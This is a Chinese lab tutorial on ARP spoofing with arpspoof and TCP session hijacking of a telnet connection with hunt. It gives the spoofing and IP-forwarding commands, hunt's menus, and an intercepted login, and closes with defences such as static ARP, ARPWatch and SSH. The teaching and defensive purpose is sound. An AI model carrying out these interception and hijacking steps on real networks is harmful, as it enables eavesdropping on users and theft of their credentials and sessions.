注:以下试验只是为了交流和学习使用,切勿应用于非法用途。
为了更加深入的理解TCP以及以太网交换技术,在这里学习使用hunt软件进行会话劫持。
大家知道,现在以太网交换机都是依据MAC地址来进行转发的,因此,在交换机的环境下,使用包监控软件监控不到其他的电脑的发送或接收的包(因为其他电脑发送的包如果外出的话都会封装上网关MAC地址,由交换机直接发送到网关所在端口,其他电脑根本接收不到此报文)。为了能实现监听到其他电脑的流量可以使用ARP欺骗,如下图所示,PC2分别发送ARP报文,将自己的MAC地址伪装成PC1和网关的MAC地址,从而使PC1发送的数据包经过PC2,而网关上发送到PC1的数据包也发送给PC2(为了能保证PC1的正常通信,PC2必须开启路由转发功能)
测试实践:
测试系统:linux
测试软件: dsniff 和hunt
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
Hunt是一个会话劫持的工具,操作简单,功能强大。
过程:
1.获取MAC地址
[root@centra-web2 sbin]# ping 134.65.5.1
PING 134.65.5.1 (134.65.5.1) 56(84) bytes of data.
64 bytes from 134.65.5.1: icmp_seq=1 ttl=255 time=16.5 ms
--- 134.65.5.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.586/16.586/16.586/0.000 ms
[root@centra-web2 sbin]# ping 134.65.5.111
PING 134.65.5.111 (134.65.5.111) 56(84) bytes of data.
64 bytes from 134.65.5.111: icmp_seq=1 ttl=128 time=0.285 ms
--- 134.65.5.111 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.285/0.285/0.285/0.000 ms
获取134.65.5.1 134.65.5.111的MAC地址
2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.111 134.65.5.1
//告诉134.65.5.111 134.65.5.1的MAC地址为本机的MAC地址
这样134.65.5.111发送到网关的包就会被交换机转发到本机上
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.1 134.65.5.111
运行之后在134.65.5.111的电脑上查看,其里面的ARP缓存已经被更新
为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。
3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。使用软件为hunt
[root@centra-web2 hunt-1.5]# ./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
现在已经在监听134.65.5.111了,此时134.65.5.111恰好telnet 134.65.5.1
这时,监测见面如下:
0) 134.65.5.111 [4046] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 10176, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
可以使用w查看这个telnet 会话
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 22132, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> w
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
choose conn> 0
CTRL-C to break
此时134.65.5.111主机在telnet 会话上输入用户名为test,监控主机hunt监控到用户的输入并显示如下:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:tttteeeesssstttt
Password:
另外还可以进行会话劫持:
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> s
0) 134.65.5.111 [4071] --> 134.65.5.1 [23]
choose conn> 0
dump connection y/n [n]> y
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n [n]> y
此时系统将134.65.5.111的telnet会话劫持过来,可以在此本地主机上对远程主机进行操作。
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired
三.防御:
防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。
防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。